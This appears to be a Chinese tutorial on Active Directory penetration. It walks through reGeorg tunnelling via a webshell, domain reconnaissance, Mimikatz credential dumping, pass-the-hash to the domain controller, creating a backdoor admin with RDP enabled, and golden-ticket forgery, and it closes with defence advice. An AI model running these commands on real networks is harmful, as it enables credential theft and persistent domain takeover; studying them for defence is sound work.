跳到主要内容内网渗透基础:域环境权限获取与维持 | 极客日志Shell / Bash
内网渗透基础:域环境权限获取与维持
内网渗透通常始于获取服务器权限,随后通过内网穿透连接受限主机。文章详细阐述了在域环境下进行信息收集、哈希提取、哈希传递(PTH)及黄金票据攻击的技术流程。涉及工具包括 Mimikatz、PsExec、Nmap 等,重点讲解了 Kerberos 认证机制中的 TGT 与票据伪造原理。内容包含具体的命令行操作示例,并补充了相应的安全防御建议,旨在帮助读者理解内网横向移动的核心逻辑与风险。
LinuxPan1 浏览 基础知识
内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个 Webshell,可以是低权限的 Webshell,因为可以通过提权获取高权限。
在进行内网渗透之前需要了解一个概念,域环境。在内网中,往往可能存在几百上千台机器,例如需要对机器进行升级、打补丁、设置权限等,管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控的权限。
首先通过提权获取一个具有管理员权限的账号密码。具体提权过程视环境而定。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。
内网穿透
在渗透测试过程中,我们拿下了一台服务器的权限,并且通过 netstat -ano 发现开启了 3389 端口,想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网,而内网主机的 3389 端口,是公网 IP 通过端口映射的。也就是说,我们连接的外网 IP 地址的 3389 端口,映射到内网中,不一定是那台服务器的 3389 端口。
- 让目标机器去连接外网主机(必须有一台公网服务器,内网主机能够访问互联网)
- 在目标机器上设置一个信号站(放一个 WEB 文件在目标机器上,所有流量都经过这个文件通信)
在渗透测试过程中,内网主机不能够访问互联网是很常见的,下面通过方法 2 进行内网穿透。
具体流程
- 首先需要一款工具 reGeorg 来建立一个信号站。
- 这里以 PHP 站点为例,将
tunnel.nosocket.php 文件通过之前获取的 Webshell 上传到站点,尝试使用 web 端访问确定文件存在。
- 以 python 环境运行 reGeorgSocksProxy.py 脚本,将从本机的 3344 端口经过的数据都发送给目标机器的 tunnel.nosocket.php 文件。
python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php
- 使用工具 Proxifier,设置远程桌面软件 mstsc.exe 的数据包从本地的 3344 端口出网。
- 成功进行内网穿透,通过远程桌面连接到目标主机。
其他内网穿透方法还有 Frp、Ew、nps 等,都是一些可以穿透的工具,原理为搭建一条直通内网的隧道,这里就不详细介绍了。
内网信息收集
- 使用 PsExec.exe 获取 SYSTEM 权限
进行内网信息收集需要具有一定的权限,所以先进行提权获取 SYSTEM 权限。
-
获取所有域用户列表
使用 net user /domain 命令获取内网的域为 ajie.cool,域中具有 Administrator、Guest、krbtgt、web 用户。
-
获取域用户组信息
使用 net group /domain 命令获取域用户组信息。
-
获取域管理员列表
使用 net group "domain admins" /domain 命令获取域管理员列表,域管账户只有 Administrator。
-
获取域服务器的 IP 地址
通过 ping 域名称来获取域服务器的 IP 地址。(也可以通过查看 dns 服务器的 IP 地址,结合进行判断域服务器的 IP 地址。)
-
安装 Nmap 进行扫描
前面介绍了 Nmap 工具,在内网渗透过程中也可以通过 Nmap 获取内网信息。
- 首先通过 Webshell 上传 Nmap 的安装包。
- 远程连接目标服务器并安装 Nmap 进行内网信息收集。
-
内网主机存活探测
因为动静比较大,也可以通过 nbtscan 工具进行。因为相对于 Nmap 的大规模扫描行为,nbtscan 基于 NetBios 进行探测,即是相当于 windows 打开我的电脑中的网络一样,被发现的几率相对低一些。
Hash 读取
此处 Hash 读取通过工具 Mimikatz 来进行,Mimikatz 是由 Benjamin Delpy 创建开发的一个能够从内存中读取 hash 账号密码的工具,也可以说是内网渗透中的神器。
下面介绍如何通过 Mimikatz 工具读取服务器内存中存储的 hash 密码。
- 首先以管理员权限打开 Mimikatz。
- 使用
privilege::debug 提升权限。
- 使用
sekurlsa::logonpasswords 读取到内存中的管理者账号的明文密码和本机的 web 用户的密码。
- 远程桌面登录管理员账号。
Hash 传递
基础知识
上面介绍了如何进行 Hash 读取,如果域控管理员使用自己的域控账号登录了服务器,那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的,所以在渗透测试过程中,内网的机器往往会打 KB2871997 补丁,并且修改注册表关闭 Wdigest Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文 Hash,但是密文 Hash 往往不可逆,解开需要花费大量精力。
在域环境下,检测密码不是先将 Hash 解密再验证是否正确的。在验证输入的账号密码是否正确的时候,是通过验证 Hash 是否相同来进行校验的。也就是说,或许我们可以通过获取的 Hash 来伪造管理员账号密码登录,也就是 Hash 传递,又叫 PTH,通过将获取的 NTLM 密文传递到验证登录的机器,绕过正常验证进行登录系统。
Wdigest
注册表中的 Wdigest 功能关系着内存中是否有明文密码,通过查看注册表键值,可以判断 Wdigest 功能状态。如果该项值为'1'则为开启,即可以获取明文密码,如果该项值为'0',则明文密码不会出现在内存中。开启和关闭 Wdigest Auth 命令如下:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
IPC$
概念
IPC$ (Internet Process Connection) 是共享'命名管道'的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
- 开放了 139、445 端口;
- 目标开启 IPC$文件共享;
- 获取用户账号密码。
在内网中,默认就会开启 IPC$共享文件服务,默认会将 C 盘共享出来,也就是说,我们可以通过 IPC 获取目标 C 盘的权限。
IPC$常用命令
| 命令 | 说明 |
|---|
| net use | 查看当前连接的 IPC$ |
| net use * /del | 删除 IPC$连接 |
| net use \192.168.1.1\ipc$ 密码 /user:域\账号 | 连接域内 IP 地址为 192.168.1.1 的主机 |
| dir \192.168.1.1\c$ | 列出连接的 192.168.1.1 的 C 盘文件 |
| copy c:/12.txt \192.168.1.1\c$\2.txt | 复制本地 c 盘的 12.txt 文件到 192.168.1.1 的 c 盘并保存为 2.txt |
IPC$命令执行
at \\192.168.1.1 11:15am cmd /c "whoami"
at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"
at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c \"whoami\" "
Hash 传递实战演示
- 首先尝试抓取密码发现获取的全部都是密文。
- 这里虽然没有获取到明文密码,但是获取了域管理员用户的 NTLM。
- 提权到 SYSTEM 权限,执行
net user /domain,获取域管所在的主机地址。
- 尝试使用 ipc$读取域管的 c 盘目录,显示拒绝访问。
- 通过 Mimikatz 工具进行 Hash 传递。
sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3
- 执行完之后会弹出一个命令提示符,执行
dir \\AD.ajie.cool\c$ 成功无需账号密码获取了域控机器的 c 盘的权限,列出了 c 盘的文件。
- 在通过 PTH 弹出的命令提示符中通过
cd .. 跳转到 PsExec.exe 文件所在目录,执行命令提权获取一个域控机器的 cmd 命令提示符。
- 执行
ipconfig 可以看到是域控所在机器的 IP 地址,成功拿到域控所在机器的权限。
- 在域控中新建用户并加到管理员组。
- 以新创建的用户远程桌面登录域控,发现无法连接远程桌面服务。
- 通过 reg 命令查询注册表,查看远程桌面服务发现返回 0x01,说明远程桌面服务没有开启。(开启则返回 0x00)
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
- 通过拿到的域控的命令提示符来执行修改注册表操作,打开远程服务功能。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
- 以新建的 hackerend 用户远程桌面登录域控。
黄金票据
基础知识
前面了解到在域环境中,域控的账号密码可以登录域内任意一台主机,那么主机是如何检测域控账号密码是否正确的呢?检验账号密码可以有两种方法,询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫 KDC 密钥分发中心。
KDC 密钥分发中心
KDC (kerberos Distribution Center) 密钥分发中心,维护所有账户的名称和 Master Key(key 的 hash code)。
AS
授权服务(Authorization Server),对于上面的流程 1,提供初始授权认证,用户表明需求并使用密码对请求进行加密,AS 用提供的密码对请求进行解密后得到的请求内容,返回给用户一个 TGT(票据授权票据 ticket granting tickets)(用一个密码加密)。
TGS
用户得到 TGT 之后使用 TGT 去访问 TGS(票据授权中心 Ticket Granting Server),TGS 验证 TGT 后(使用密钥解密),返回一个 Ticket 给用户;用户得到 Ticket 后去访问 Server,Server 收到 Ticket 和 KDC 进行验证,通过后提供服务。
票据
在内网渗透中,票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是 Kerberos 认证协议的 Ticket,因为已经经过了 AS 和 TGS 的校验,所以获取了票据之后,可以任意登录目标主机。
在查询域内用户的时候,总会看到一个用户叫 krbtgt,如图 5-37 所示。krbtgt 账户其实就是 KDC 秘钥分发中心用的超管账户。我们拿着 krbtgt 账户的票据,去访问域内机器,目标主机会认为我们是 KDC 秘钥分发中心,所以直接给了最高的权限允许我们访问。
一般管理员会修改域控账号的密码,但是很少有管理员会修改 Krbtgt 的密码。在内网渗透的最后阶段,我们需要通过获取黄金票据进行权限维持,那么下面将介绍如何获取 krbtgt 账户的黄金票据。
实战演示
- 首先通过远程桌面将 mimikatz.exe 和 PsExec.exe 上传到域控主机。
- 通过 PsExec 提权为 SYSTEM,然后执行 Mimikatz,输入命令
lsadump::dcsync /user:krbtgt 获取 krbtgt 的 hash 值。
- 这里制作黄金票据需要的数据为:
Object Security ID : S-1-5-21-3296092892-1320626564-2720975204
Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659
原 Object Security ID 最后面有个 -502 是作为标识的,在制作时需要手动删除。
- 退出远程桌面,在攻击机通过 Mimikatz 制作黄金票据。执行命令后会生成一个 AD.kiribi 文件。
kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
- 制作完票据之后,先尝试获取域控的 c 盘的权限发现拒绝访问。
- 通过
kerberos::purge 清空票据缓存;kerberos::list 列出票据显示为空,说明清空了所有票据。
- 通过
kerberos::ptt administrator.kiribi 加载生成的票据。
- 成功无密码获取域控 c 盘权限,后面进一步提权与 Hash 传递处相仿,就不做演示了。
防御建议
- 最小权限原则:限制域管理员权限,避免高权限账号在日常终端登录。
- 补丁管理:及时更新 KB2871997 等安全补丁,防止哈希泄露。
- 监控审计:部署 SIEM 系统,监控异常的 Kerberos 请求和异常登录行为。
- 凭证保护:定期轮换 krbtgt 账户密码,启用 LAPS 管理本地管理员密码。
- 网络分段:实施严格的网络隔离,减少横向移动的可能性。
总结
本文详细阐述了内网渗透的核心技术路径,从基础的 Webshell 获取到域环境的深度控制。通过内网穿透、信息收集、哈希提取、哈希传递及黄金票据攻击,攻击者可以在域环境中实现权限维持和横向移动。理解这些技术原理有助于安全人员构建更完善的防御体系,及时发现并阻断潜在的内网威胁。在实际操作中,请务必遵守相关法律法规,仅在授权范围内进行测试。
相关免费在线工具
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
- Markdown转HTML
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
- HTML转Markdown
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
- JSON 压缩
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
- JSON美化和格式化
将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online